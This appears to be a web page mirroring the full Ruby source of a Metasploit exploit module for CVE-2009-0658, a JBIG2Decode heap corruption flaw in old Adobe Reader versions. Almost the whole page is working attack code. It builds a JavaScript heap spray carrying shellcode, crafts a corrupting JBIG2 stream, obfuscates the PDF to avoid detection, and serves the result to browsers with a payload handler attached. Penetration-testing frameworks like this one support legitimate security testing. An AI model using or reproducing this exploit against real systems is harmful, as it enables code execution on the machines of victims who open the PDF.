Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/browser/adobe_jbig2decode.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'zlib'67class MetasploitModule < Msf::Exploit::Remote8Rank = GoodRanking910include Msf::Exploit::Remote::HttpServer::HTML1112def initialize(info = {})13super(update_info(info,14'Name' => 'Adobe JBIG2Decode Heap Corruption',15'Description' => %q{16This module exploits a heap-based pointer corruption flaw in Adobe Reader 9.0.0 and earlier.17This module relies upon javascript for the heap spray.18},19'License' => MSF_LICENSE,20'Author' =>21[22# Metasploit implementation23'natron',24# bl4cksecurity blog explanation of vuln [see References]25'xort', 'redsand',26# obfuscation techniques and pdf template from util_printf27'MC', 'Didier Stevens <didier.stevens[at]gmail.com>',28],29'References' =>30[31[ 'CVE' , '2009-0658' ],32[ 'OSVDB', '52073' ],33[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb09-04.html']34],35'DefaultOptions' =>36{37'EXITFUNC' => 'process',38},39'Payload' =>40{41'Space' => 1024,42'BadChars' => ""43},44'Platform' => 'win',45'Targets' =>46[47[ 'Adobe Reader v9.0.0 (Windows XP SP3 English)', { 'Ret' => 0x0166B550 } ], # Ret * 5 == 0x07018A90 (BIB.dll)48[ 'Adobe Reader v8.1.2 (Windows XP SP2 English)', { 'Ret' => 0x9B004870 } ], # Ret * 5 == 0x07017A30 (BIB.dll)49],50'DisclosureDate' => '2009-02-19',51'DefaultTarget' => 0))52end5354def autofilter55false56end5758def check_dependencies59use_zlib60end6162def on_request_uri(cli, request)63return if ((p = regenerate_payload(cli)) == nil)64# Encode the shellcode.65shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))66ptroverwrite = Rex::Text.to_unescape([target.ret].pack("V"))6768nops = Rex::Text.to_unescape(make_nops(4))6970# Randomize some variables71rand1 = rand_text_alpha(rand(50) + 1)72rand2 = rand_text_alpha(rand(50) + 1)73rand3 = rand_text_alpha(rand(50) + 1)74rand4 = rand_text_alpha(rand(50) + 1)75rand5 = rand_text_alpha(rand(50) + 1)76rand6 = rand_text_alpha(rand(50) + 1)77rand7 = rand_text_alpha(rand(50) + 1)78rand8 = rand_text_alpha(rand(50) + 1)79rand9 = rand_text_alpha(rand(50) + 1)80rand10 = rand_text_alpha(rand(50) + 1)81rand11 = rand_text_alpha(rand(50) + 1)82rand12 = rand_text_alpha(rand(50) + 1)83rand13 = rand_text_alpha(rand(50) + 1)84rand14 = rand_text_alpha(rand(50) + 1)85rand15 = rand_text_alpha(rand(50) + 1)86rand16 = rand_text_alpha(rand(50) + 1)87randnop = rand_text_alpha(rand(100) + 1)8889script = %Q|90var #{rand1} = "";91var #{rand2} = "";92var #{rand3} = unescape("#{shellcode}");93var #{rand4} = "";94var #{randnop} = "#{nops}";9596for (#{rand5}=128;#{rand5}>=0;--#{rand5}) #{rand4} += unescape(#{randnop});97#{rand6} = #{rand4} + #{rand3};98#{rand7} = unescape(#{randnop});99#{rand8} = 20;100#{rand9} = #{rand8}+#{rand6}.length101while (#{rand7}.length<#{rand9}) #{rand7}+=#{rand7};102#{rand10} = #{rand7}.substring(0, #{rand9});103#{rand11} = #{rand7}.substring(0, #{rand7}.length-#{rand9});104while(#{rand11}.length+#{rand9} < 0x40000) #{rand11} = #{rand11}+#{rand11}+#{rand10};105#{rand12} = new Array();106for (#{rand5}=0;#{rand5}<100;#{rand5}++) #{rand12}[#{rand5}] = #{rand11} + #{rand6};107108for (#{rand5}=142;#{rand5}>=0;--#{rand5}) #{rand2} += unescape("#{ptroverwrite}");109#{rand13} = #{rand2}.length + 20110while (#{rand2}.length < #{rand13}) #{rand2} += #{rand2};111#{rand14} = #{rand2}.substring(0, #{rand13});112#{rand15} = #{rand2}.substring(0, #{rand2}.length-#{rand13});113while(#{rand15}.length+#{rand13} < 0x40000) #{rand15} = #{rand15}+#{rand15}+#{rand14};114#{rand16} = new Array();115for (#{rand5}=0;#{rand5}<175;#{rand5}++) #{rand16}[#{rand5}] = #{rand15} + #{rand2};116|117eaxptr = "\x00\x20\x50\xff" # CALL DWORD PTR DS:[EAX+20]118eaxp20ptr = "\x05\x69\x50\x50" # Shellcode location called by CALL DWORD PTR DS:[EAX+20]119modifier = "\x00\x69\x00\x00" # ECX values seen: 02004A00, 033C9F58, 0338A228, 031C51F8, 0337B418120# natron@kubuntu-nkvm:~$ ./pdf-calc-val.rb 0x690000121# EAX: 0x690000 ECX: 0x2004a00 WriteAddr: 0xa3449ec122# EAX: 0x690000 ECX: 0x358a228 WriteAddr: 0xb8ca214123124jbig2stream = eaxptr + "\x40\x00" + modifier + eaxp20ptr125126# Create the pdf127pdf = make_pdf(script, jbig2stream)128129print_status("Sending #{self.name}")130131send_response(cli, pdf, { 'Content-Type' => 'application/pdf', 'Content-Disposition' => 'Attachment' }) #132133handler(cli)134135end136137def random_non_ascii_string(count)138result = ""139count.times do140result << (rand(128) + 128).chr141end142result143end144145def io_def(id)146"%d 0 obj" % id147end148149def io_ref(id)150"%d 0 R" % id151end152153#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/154def n_obfu(str)155result = ""156str.scan(/./u) do |c|157if rand(3) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'158result << "#%x" % c.unpack("C*")[0]159# Randomize the spaces and newlines160elsif c == " "161result << " " * (rand(3) + 1)162if rand(2) == 0163result << "\x0d\x0a"164result << " " * rand(2)165end166else167result << c168end169end170result171end172173def ascii_hex_whitespace_encode(str)174result = ""175whitespace = ""176str.each_byte do |b|177result << whitespace << "%02x" % b178whitespace = " " * (rand(3) + 1)179end180result << ">"181end182183def make_pdf(js, jbig2)184185xref = []186eol = "\x0d\x0a"187endobj = "endobj" << eol188189pdf = "%PDF-1.5" << eol190pdf << "%" << random_non_ascii_string(4) << eol191xref << pdf.length192pdf << n_obfu(" ") << io_def(1) << n_obfu(" << /Type /Catalog /Outlines ") << io_ref(2) << n_obfu(" /Pages ") << io_ref(3) << n_obfu(" /OpenAction ") << io_ref(5) << " >> " << endobj193xref << pdf.length194pdf << n_obfu(" ") << io_def(2) << n_obfu(" << /Type /Outlines /Count 0 >> ") << endobj195xref << pdf.length196pdf << n_obfu(" ") << io_def(3) << n_obfu(" << /Type /Pages /Kids [ ") << io_ref(4) << n_obfu(" ") << io_ref(7) << n_obfu(" ] /Count 2 >> ") << endobj197xref << pdf.length198pdf << n_obfu(" ") << io_def(4) << n_obfu(" << /Type /Page /Parent ") << io_ref(3) << n_obfu(" /MediaBox [0 0 612 792 ] >> ") << endobj199xref << pdf.length200pdf << n_obfu(" ") << io_def(5) << n_obfu(" << /Type /Action /S /JavaScript /JS ") + io_ref(6) + " >> " << endobj201xref << pdf.length202203compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js), rand(5)+4) # Add random 4-9 compression level204pdf << n_obfu(" ") << io_def(6) << n_obfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode ] >>" % compressed.length) << eol205pdf << "stream" << eol206pdf << compressed << eol207pdf << "endstream" << eol208pdf << endobj209xref << pdf.length210211pdf << n_obfu(" ") << io_def(7) << n_obfu(" << /Type /Page /Parent ") << io_ref(3) << " /Contents [ " << io_ref(8) << " ] >> " << eol212213xref << pdf.length214compressed = Zlib::Deflate.deflate(jbig2.unpack('H*')[0], rand(8)+1) # Convert to ASCII hex, then deflate using random 1-9 compression215pdf << n_obfu(" ") << io_def(8) << n_obfu(" << /Length %s /Filter [ /FlateDecode /ASCIIHexDecode /JBIG2Decode ] >> " % compressed.length) << eol216pdf << "stream" << eol217pdf << compressed << eol218pdf << "endstream" << eol219pdf << endobj220221xrefPosition = pdf.length222pdf << "xref" << eol223pdf << "0 %d" % (xref.length + 1) << eol224pdf << "0000000000 65535 f" << eol225xref.each do |index|226pdf << "%010d 00000 n" % index << eol227end228pdf << "trailer" << n_obfu("<< /Size %d /Root " % (xref.length + 1)) << io_ref(1) << " >> " << eol229pdf << "startxref" << eol230pdf << xrefPosition.to_s() << eol231pdf << "%%EOF" << eol232end233end234235236